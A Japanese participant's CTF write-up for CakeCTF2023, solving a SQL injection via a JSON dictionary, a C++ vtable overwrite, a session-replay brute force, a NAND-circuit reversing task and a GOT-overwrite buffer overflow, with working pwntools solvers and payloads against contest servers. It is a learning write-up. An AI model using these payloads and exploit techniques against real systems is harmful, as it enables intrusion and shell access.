CakeCTF2023のやつ

# CakeCTF2023

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/c1bb5708-b646-6a14-8a7f-801c54393525.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/f1c597dd-418f-7580-b65f-0ce04f6c891e.png)


CakeCTF楽しかったです．チームtrimscashで参加して86位でした．
開催ありがとうございました．
解けそうで解けなかった問題が何問かあって悔しかったですが楽しかったです！

一部の簡単な問題しか解けてませんがwriteup書きます．

## CountryDB [Web]
>Do you know which country code 'CA' and 'KE' are for?
Search country codes here!

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/66886605-cb5f-6102-dae5-c2cefdc04da7.png)

```python:app.py
#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)
```

国のコードから国旗を教えてくれるアプリです．

```python
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]
```

`code`にSQLInjectionのpayloadを入れられれば勝ちです．

```python
@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code'] ##### codeの型を制限していない．
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}
```

postで送られるjsonの"code"を`code`変数に入れていますが，この"code"の型を制限していません．
なので以下のようなJSONでも処理してしまいます．
```
{
    "code": {"aa": 1, "bb": 2}
}
```

今codeは文字数2の文字列ではなく，要素数2の辞書型です．なので続く要素数の制限を突破し，`db_search`に移ります．

ここで，以下のように辞書型が展開されたときpythonではどのようになるか確認してみましょう．
```python
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/857e0393-8840-c493-3616-0321e77b9776.png)
このように展開するときに`'`を出力してくれます．なので対象のSQL文の`'`が閉じてjsonのkeyに入れた任意のSQLを動かすことができます．

最終的にpayloadは以下のようになりました．
```json
{
    "code":{") union select flag from flag where 1=1 --":"","b":""}
}
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/6414f884-817f-7765-b885-47d89cad27d8.png)


送るとフラグがもらえました！

```
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
```


## vtable4b [Pwn]
>Do you understand what vtable is?
nc vtable4b.2023.cakectf.com 9000

サーバーの情報だけが渡されます．添付ファイルはありませんが実行すると丁寧にソースコードとwin関数のアドレスや，ヒープの状態を教えてくれます．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/707297fa-d36e-1745-5286-867ecaa4b161.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/f656ebc4-c92b-b524-58d5-f2d1ddbcfcf7.png)

`vtable`についてはよくわかっていないのですが，仮想関数のポインタのテーブルがあって，そのテーブルへのポインタはメンバーと同じように保管されるようです（適当すぎるので注意
何がともあれ，messageに対してはいくらでも書き込めるのでvtableのアドレスは書き換えることができます．
またmessageの中でwin関数へのアドレスを書き込んでおけば関数のポインタを指すポインタを作ることができます．

vtableを書き換えた状態で関数を呼び出せば任意の関数を呼び出せます．

あとはソルバーを書くだけです．

```python:solver.py
from pwn import *

io = remote("vtable4b.2023.cakectf.com", 9000)

io.recvuntil(b"  <win> = ")
win=p64(int(io.readline()[:-1],base=16)) # win関数のアドレス取得

print(win)

## ヒープ上に作るvtableへのアドレスの取得
io.sendline(b"3")
io.recvuntil(b"message (=")
io.readline()
io.readline()
heap=p64(int(io.readline()[:14],base=16))

## 上で取得したヒープのアドレスに合わせてwin関数のアドレスを書き込みvtableを上書きするpayload
payload=b"a"*8+win+b"b"*16+heap

## 送信
io.sendlineafter(b"3. Display heap", b"2")
io.sendline(payload)
# 関数の実行
io.sendlineafter(b"3. Display heap", b"1") 
io.interactive()
print(heap)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/ce81facb-b07c-e7ac-ab8b-9943a4047891.png)

やったね
```
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
```

## TOWFL [Web, Cheat]
>Do you speak the language of wolves?
Prove your skill here!

狼語の実力テストのようです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/23ab7b25-b832-7e6d-86ce-0b1e60d0127e.png)

ソースコードを読むと100点を取れればフラグがもらえそうです．

```python
@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
```

以下のapi_submitで問題に解答し上のapi_scoreで採点してくれます．
```python
@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}
```

知り合いの狼に育てられた狼語が母国語の人に満点を取ってもらうのもいいですが
コードを読むと以下で得られるセッションの情報があれば何回でも回答しなおして採点してもらえるということがわかります．

お礼のお肉を用意せずに済みますね．

```python
@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}
```

具体的には1問ずつすべての選択肢を試してスコアに変化があれば正解ということなのでこれを自動化するソルバーを書きます．

```python
import requests
import time

url="http://towfl.2023.cakectf.com:8888/"
score_url="http://towfl.2023.cakectf.com:8888/api/score"
submit_url="http://towfl.2023.cakectf.com:8888/api/submit"
cookie={"session":".eJwFwYkNgDAIAMBdmICvPG5TgSbOYNzduxfmabigURbtSlo0hZWh1u3mOE4sPBKa1ISKHHoyY88pvae5trMFfD_joxPk.ZU89sA.se7UaZFqXEKDZ6i-GZR16XAQoI8"}


def flag():
    time.sleep(0.5)
    r=requests.get(score_url,cookies=cookie)
    return r.json()["data"]["flag"]

def score():
    time.sleep(0.5)
    r=requests.get(score_url,cookies=cookie)
    return r.json()["data"]["score"]

def submit(li):
    time.sleep(0.5)
    r=requests.post(submit_url,cookies=cookie,json=li)
    return r

def find_correct(i_index,j_index):
    ans=[[6]*10 for i in range(10)]
    for i in range(4):
        ans[i_index][j_index]=i
        submit(ans)
        s=score()
        if s==1:
            return i
    return -1

ans=[[6]*10 for i in range(10)]

for i in range(10):
    for j in range(10):
        ans[i][j]=find_correct(i,j)

print(ans)
print(submit(ans))
print(flag())
```

実行するとフラグがもらえました．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/975c1beb-eab9-b8ef-ec1c-d4e83890be27.png)

```
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}
```


## nande [Rev]
>What makes NAND gates popular?

`nand.exe`というバイナリが渡されるので解析をします．
`ghidra`で逆コンパイルすると以下の通り．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/bb834e2f-6dd4-ad76-6c50-04ee4dd12414.png)

コマンドライン引数で受け取った文字列を1ビットごとに分解して`InputSequence`という配列に入れ，その後`CIRCUIT`という関数に渡して`OutputSequence`に実行結果を入れているようです．その後`AnswerSequence`と比較しています．

`AnswerSequence`には以下のようにデータが入っており多分これは`Flag`を`CIRCUIT`に入れたものでしょう．なのでこのデータから`Flag`を求めることができれば勝ちです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/da5f1224-8f3a-1b0d-8333-033583a36816.png)

以下`ghidra`の`Copy Special`でコピーしたデータ．(便利
```:AnswerSequence
[ 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00 ]
```


さて`CIRCUIT`を見ていきましょう．以下を見るとわかる通り，すべての要素（ビット）を隣の要素と`MODULE`に入れて（最終要素は0x01と一緒に入力）その結果を逐次`param_2(OutputSequence)`に入れ最終的にまた`param_1(InputSequence)`に入れてというのを0x1234回繰り返しています．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/1945a23e-2c5d-139e-b41d-277b2529d1e5.png)

では`MODULE`を見てみましょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/6abad807-321a-3086-d501-e803d402d5be.png)

`NAND`は見たところ普通にNANDでした．でもよくわからないのでpythonかなんかで書き直します．

```python
def nand(a,b):
    return not(a and b)

def module(a,b):
    o1=nand(a,b)
    o2=nand(a,o1)
    o3=nand(b,o1)
    o4=nand(o2,o3)
    return o4
```

適当に実験してみるとわかる通り，これはXORと同じですね．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/3db8a56b-21eb-6315-5e60-6bff1f855459.png)

a XOR b = c
c XOR b = a

なので`CIRCUIT`とは逆の手順を踏めば`AnswerSequence`からFlagを求めることができます．

以下適当に書いたソルバー
```python:solver.py
ans=[ 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00 ]

flag=[0 for i in range(0x100)]

def nand(a,b):
    return not(a and b)

def module(a,b): # xor
    o1=nand(a,b)
    o2=nand(a,o1)
    o3=nand(b,o1)
    o4=nand(o2,o3)
    return o4

def chr_list(a):
    l=[]
    t=ord(a)
    for i in reversed(f"{t:>08b}"):
        if i=="1":
            l.append(1)
        else:
            l.append(0)
    return l

def list_to_string(a):
    l=""
    for i in range(len(a)//8):
        t=0
        t|=a[7+i*8]
        for j in reversed(range(7)):
            t=t<<1
            t|=a[j+i*8]
        # print(t)
        l+=chr(t)
    return l

tes = chr_list("a")
print(tes)
print(list_to_string(tes))

for i in range(0x1234):
    t=1
    for j in reversed(range(0x100)):
        # print(j)
        t=ans[j]^t
        flag[j]=t
    ans=flag.copy()
    print(list_to_string(flag))
    print(list_to_string(ans))
```

実行するとフラグが求まります．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/5de92096-556f-ae7a-076e-96b4f3760bf8.png)

やったね
```
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
```
## bofww [Pwn]
>buffer overflow with win function
nc bofww.2023.cakectf.com 9002

ソースコードは以下の通り．
```cpp:main.cpp
#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}
```
セキュリティ機構は以下の通り．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/0d0c8330-4c5b-0fec-ce10-f8fb09aa3da5.png)

cppで書かれているPwnです．とりあえずstringの挙動がよくわからなかったので調べると，作問者の方が書かれたわかりやすい資料がありました．

https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732

>次のような0x20バイトの構造になっています。
>
>+00h: <データへのポインタ>
>+08h: <データのサイズ>
>+10h: <データ領域の容量>あるいは<データ本体+0h>
>+18h: <未使用>あるいは<データ本体+8h>

stringの構造は以上のようになっているようです．

またどうやらstringは代入されると`データへのポインタ`がさす領域に右辺の文字列がコピーされるということがわかります．（データの容量内の場合)(入りきらない場合領域を再確保する．

`input_person`内でバッファオーバーフローがあるのでそれを利用し，`name (stirng)`の`データへのポインタ`を`__stack_chk_fail`関数の`got`のアドレスに上書きします．
その上書きした`データへのポインタ`へは入力した文字列がコピーされるので，payloadの先頭には`win`関数のアドレスを入れておきます．すると`__stack_chk_fail`関数の`got`にwin関数のアドレスが入り，`__stack_chk_fail`が呼ばれたときにwin関数が呼ばれるようになります．


---
ここで`__stack_chk_fail`関数はスタック破壊が検知されたときに呼び出される関数です．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/97132577-2150-7d8e-df42-3953caf8bce1.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/2912c3aa-e634-f890-67ab-d8ef4b0a1548.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/6976610c-0bed-c556-50d3-81e29a7b6b3c.png)

上のように`Canary`と呼ばれるデータを関数のが始まるときにスタックに入れて置きそれが関数の最後で書き換わっていないかどうか判別し書き換わっていたら`__stack_chk_fail`関数が呼ばれます．

`canary`については以下がわかりやすいです．

https://miso-24.hatenablog.com/entry/2019/10/16/021321

今回は`input_person`から`main`のスタックまでオーバーフローして書き換えているので絶対に呼ばれます．

`got`に関しては以下がわかりやすいと思います．（説明がめんどくさい．

https://keichi.dev/post/plt-and-got/

----

そんな感じでソルバーを書くと以下のようになりました．
```python:solver.py
from pwn import *

# io = process("./bofww")
io = remote("bofww.2023.cakectf.com", 9002)

win=p64(0x4012f6)
target_got=p64(0x404050) # stack_chk_fail

stack_diff=0x130

payload=win+b"a"*(stack_diff-len(win))+target_got+p64(0x200)+p64(0x200)

io.sendlineafter(b"What is your first name?", payload)
io.sendlineafter(b"How old are you?", b"1")
io.interactive()
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/b1fa6105-2aaa-70c0-0d96-b2749640b72d.png)

実行するとフラグがもらえました！
やったね！

```
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
```

# 感想
改めて楽しかったです！
vtableとかcppのpwnはあまり知らなかったので新たな知見が得られて楽しかったです．
`bofww`の続編の`bofwow`というのも解けそうだったのですが無理でした．
ほかにはcryptoのwarmupもとけなくて悲しかったですね．．

とても楽しかったです．開催ありがとうございました！


稚拙な文ではありましたが読んでいただきありがとうございました．